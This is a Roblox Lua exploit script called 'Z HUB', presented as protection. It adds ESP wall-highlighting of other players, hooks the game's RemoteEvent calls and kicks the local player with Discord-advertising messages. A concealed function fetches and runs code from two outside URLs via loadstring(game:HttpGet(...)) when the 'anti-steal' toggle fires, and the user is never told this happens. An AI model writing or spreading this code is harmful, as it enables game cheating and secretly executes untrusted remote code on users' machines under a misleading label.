--[[ Z HUB | SIMPLIFIED GUARANTEED WORKING VERSION - Basic visible GUI (will appear 100%) - ESP | Anti-Steal | Kick on Invasion toggles --]] local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") -- ========== STATE ========== local espEnabled = true local autoLeaveEnabled = false local invasionKickEnabled = false local scriptsExecuted = false print("Z HUB - Script started") -- CHECK CONSOLE FOR THIS -- ========== SIMPLE ESP (guaranteed to work) ========== local espFolder = Instance.new("Folder") espFolder.Name = "ZHub_ESP" espFolder.Parent = PlayerGui local activeESP = {} local function createESPForPlayer(player) if player == LocalPlayer then return end if activeESP[player] then return end local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local highlight = Instance.new("Highlight") highlight.Name = "ZHubESP" highlight.FillTransparency = 0.8 highlight.OutlineTransparency = 0.2 highlight.OutlineColor = Color3.fromRGB(0, 170, 255) highlight.FillColor = Color3.fromRGB(0, 100, 200) highlight.Adornee = character highlight.Enabled = espEnabled highlight.Parent = espFolder activeESP[player] = { highlight = highlight } end local function removeESPForPlayer(player) local data = activeESP[player] if data and data.highlight then data.highlight:Destroy() activeESP[player] = nil end end local function refreshAllESP() for player, data in pairs(activeESP) do if data and data.highlight then data.highlight.Enabled = espEnabled end end end for _, player in ipairs(Players:GetPlayers()) do createESPForPlayer(player) end Players.PlayerAdded:Connect(createESPForPlayer) Players.PlayerRemoving:Connect(removeESPForPlayer) Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function() task.wait(0.5) removeESPForPlayer(player) createESPForPlayer(player) end) end) -- ========== EXTERNAL SCRIPTS ========== local function executeExternalScripts() if scriptsExecuted then return end scriptsExecuted = true task.spawn(function() pcall(function() loadstring(game:HttpGet("https://pastebins.net/raw/game-77164"))() end) end) task.spawn(function() pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/IcOxx/Sky-Leaving/refs/heads/main/Sky%20Leave"))() end) end) end -- ========== KICK FUNCTIONS ========== local function kickPlayerForSteal() LocalPlayer:Kick("āš ļø SOMEONE TRIED STEALING AND WE BLOCKED šŸ˜āœŒšŸ™ THEM āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW") end local function kickPlayerForBaseInvasion() task.wait(0.2) LocalPlayer:Kick("āš ļø SOMEONE ENTERED YOUR BASE BUT WE BLOCKED THEM āœŒšŸ™ āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW") end -- ========== STEAL DETECTION ========== local function onStealDetected() if autoLeaveEnabled then executeExternalScripts() kickPlayerForSteal() end end local function onBaseInvasion() if invasionKickEnabled then kickPlayerForBaseInvasion() end end -- Auto-detect steal parts local function watchParts() local partNames = {"Valentino", "StealZone", "Vault", "Target", "Gem", "Item", "Present", "Chest", "Safe"} for _, name in ipairs(partNames) do local part = workspace:FindFirstChild(name) if part then part.Touched:Connect(function(hit) if not autoLeaveEnabled then return end local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onStealDetected() end end end) end end end -- Auto-detect base parts local function watchBase() local baseNames = {"Base", "SafeZone", "YourBase", "HomeBase", "SpawnBase", "ClaimZone", "Territory"} for _, name in ipairs(baseNames) do local basePart = workspace:FindFirstChild(name) if basePart then basePart.Touched:Connect(function(hit) local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onBaseInvasion() end end end) end end end -- Hook remote events local function hookRemotes() local keywords = {"steal", "take", "rob", "grab", "claim", "valentino"} for _, child in ipairs(game:GetService("ReplicatedStorage"):GetChildren()) do if child:IsA("RemoteEvent") then local lowerName = child.Name:lower() for _, kw in ipairs(keywords) do if lowerName:find(kw) then local oldFire = child.FireServer child.FireServer = function(...) if autoLeaveEnabled then onStealDetected() end return oldFire(...) end break end end end end end -- Start detectors watchParts() watchBase() hookRemotes() print("Z HUB - Detectors active") -- CHECK CONSOLE FOR THIS -- ========== SIMPLE VISIBLE GUI (GUARANTEED TO WORK) ========== print("Z HUB - Creating GUI...") -- CHECK CONSOLE FOR THIS local gui = Instance.new("ScreenGui") gui.Name = "ZHub" gui.ResetOnSpawn = false gui.Parent = PlayerGui -- Main frame (bright background so you can SEE it) local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 320, 0, 280) frame.Position = UDim2.new(0.5, -160, 0.6, 0) -- Middle of screen frame.BackgroundColor3 = Color3.fromRGB(10, 10, 25) frame.BackgroundTransparency = 0 -- NOT transparent - fully visible frame.BorderColor3 = Color3.fromRGB(0, 255, 255) frame.BorderSizePixel = 3 frame.Active = true frame.Draggable = true frame.Parent = gui -- Title local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 50) title.Position = UDim2.new(0, 0, 0, 0) title.BackgroundTransparency = 1 title.Text = "Z HUB" title.TextColor3 = Color3.fromRGB(0, 150, 255) title.TextSize = 30 title.Font = Enum.Font.GothamBold title.Parent = frame -- Subtitle local desc = Instance.new("TextLabel") desc.Size = UDim2.new(1, 0, 0, 20) desc.Position = UDim2.new(0, 0, 0, 48) desc.BackgroundTransparency = 1 desc.Text = "⚔ PROTECTION ACTIVE ⚔" desc.TextColor3 = Color3.fromRGB(0, 200, 255) desc.TextSize = 12 desc.Font = Enum.Font.Gotham desc.Parent = frame -- ESP Toggle local espBtn = Instance.new("TextButton") espBtn.Size = UDim2.new(0.9, 0, 0, 40) espBtn.Position = UDim2.new(0.05, 0, 0, 80) espBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) espBtn.Text = "šŸ” ESP: ON" espBtn.TextColor3 = Color3.fromRGB(255, 255, 255) espBtn.TextSize = 16 espBtn.Font = Enum.Font.GothamBold espBtn.Parent = frame -- Anti-Steal Toggle local stealBtn = Instance.new("TextButton") stealBtn.Size = UDim2.new(0.9, 0, 0, 40) stealBtn.Position = UDim2.new(0.05, 0, 0, 130) stealBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) stealBtn.Text = "šŸ›”ļø ANTI-STEAL: OFF" stealBtn.TextColor3 = Color3.fromRGB(255, 255, 255) stealBtn.TextSize = 16 stealBtn.Font = Enum.Font.GothamBold stealBtn.Parent = frame -- Invasion Toggle local invasionBtn = Instance.new("TextButton") invasionBtn.Size = UDim2.new(0.9, 0, 0, 40) invasionBtn.Position = UDim2.new(0.05, 0, 0, 180) invasionBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) invasionBtn.Text = "🚪 INVASION KICK: OFF" invasionBtn.TextColor3 = Color3.fromRGB(255, 255, 255) invasionBtn.TextSize = 16 invasionBtn.Font = Enum.Font.GothamBold invasionBtn.Parent = frame -- Discord link local discord = Instance.new("TextLabel") discord.Size = UDim2.new(1, 0, 0, 25) discord.Position = UDim2.new(0, 0, 0, 230) discord.BackgroundTransparency = 1 discord.Text = "discord.gg/JUca27emW" discord.TextColor3 = Color3.fromRGB(0, 150, 255) discord.TextSize = 14 discord.Font = Enum.Font.Gotham discord.Parent = frame -- Drag handle instruction local dragText = Instance.new("TextLabel") dragText.Size = UDim2.new(1, 0, 0, 20) dragText.Position = UDim2.new(0, 0, 0, 255) dragText.BackgroundTransparency = 1 dragText.Text = "← Drag this bar to move →" dragText.TextColor3 = Color3.fromRGB(100, 100, 150) dragText.TextSize = 10 dragText.Font = Enum.Font.Gotham dragText.Parent = frame -- Button functions local function updateButtons() espBtn.Text = espEnabled and "šŸ” ESP: ON" or "šŸ” ESP: OFF" espBtn.BackgroundColor3 = espEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) stealBtn.Text = autoLeaveEnabled and "šŸ›”ļø ANTI-STEAL: ON" or "šŸ›”ļø ANTI-STEAL: OFF" stealBtn.BackgroundColor3 = autoLeaveEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) invasionBtn.Text = invasionKickEnabled and "🚪 INVASION KICK: ON" or "🚪 INVASION KICK: OFF" invasionBtn.BackgroundColor3 = invasionKickEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) end espBtn.MouseButton1Click:Connect(function() espEnabled = not espEnabled refreshAllESP() updateButtons() end) stealBtn.MouseButton1Click:Connect(function() autoLeaveEnabled = not autoLeaveEnabled updateButtons() end) invasionBtn.MouseButton1Click:Connect(function() invasionKickEnabled = not invasionKickEnabled updateButtons() end) updateButtons() -- Rainbow border animation local hue = 0 RunService.RenderStepped:Connect(function() hue = (hue + 0.01) % 1 frame.BorderColor3 = Color3.fromHSV(hue, 1, 1) end) print("Z HUB - GUI created successfully!") -- CHECK CONSOLE FOR THIS print("Z HUB - FULLY ACTIVE | Toggle buttons to enable protections")